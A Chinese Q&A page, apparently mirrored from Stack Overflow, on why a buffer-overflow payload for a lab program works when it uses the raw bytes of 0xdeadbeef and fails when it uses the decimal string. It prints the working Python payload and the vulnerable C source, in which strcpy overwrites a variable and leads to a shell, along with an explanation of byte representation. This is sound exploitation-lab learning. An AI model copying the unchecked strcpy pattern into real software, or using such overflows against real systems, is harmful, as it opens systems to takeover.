为什么整数可以存储十六进制值,但不能存储相同的十进制值?

2024-09-26 17:53:18 发布

您现在位置:Python中文网/ 问答频道 /正文

我最近成功地利用了一个C可执行文件,使其char数组溢出到另一个变量中。我是通过将exploit1.py的输出管道化到命令行来实现的,命令行被lab2C接受为参数。最后一个1.py文件如下所示:

1.py(最终):

def main():

     print("aaabbbcccdddeee\xef\xbe\xad\xde")

main()

我在Jon Erickson的《黑客:利用的艺术》一书中读到过,你可以使用命令行将十六进制字节代码导入到一个文件中,所以我尝试了一下,成功地调用了shell()函数。你知道吗

然而,有一件事我仍然感到困惑,那就是为什么将0xdeadbeef的十进制版本中的管道作为参数不起作用。以下是我试图将in的输出通过管道传输到命令行的原始文件:

1.py(原件):

def main():

    print("aaabbbcccdddeee3735928559")

main()

执行此操作时,命令行返回以下内容:

Not authenticated.
set_me was 892548915

为什么这样不行?是不是因为整数容器不能容纳0xdeadbeef的十进制值,因为它太大了?如果是这样,为什么整数可以接受等价的十六进制字节码?你知道吗

规格-架构:i686;CPU操作模式:32位,64位;内核名称:Linux;内核版本:#40~14.04.1-Ubuntu;编译器版本:Ubuntu 4.8.4-2ubuntu1~14.04

(以下为lab2C供参考): lab2C:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void shell()
{
    printf("You did it.\n");
    system("/bin/sh");
}

int main(int argc, char** argv)
{
    if(argc != 2)
    {
            printf("usage:\n%s string\n", argv[0]);
            return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15];
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
            shell();
    }
    else
    {
            printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}

Tags: 文件命令行py版本利用includemainshell
1条回答
网友
1楼 · 发布于 2024-09-26 17:53:18

0xdeadbeef等于3735928559,但"3735928559"等于

>>> [hex(ord(c)) for c in "3735928559"]
['0x33', '0x37', '0x33', '0x35', '0x39', '0x32', '0x38', '0x35', '0x35', '0x39']

也就是说,"\x33\x37\x33..."

利用此漏洞的方法是用字符串的表示形式覆盖整数的表示形式,而不是字符串的解析值。你知道吗

相关问题 更多 >

    热门问题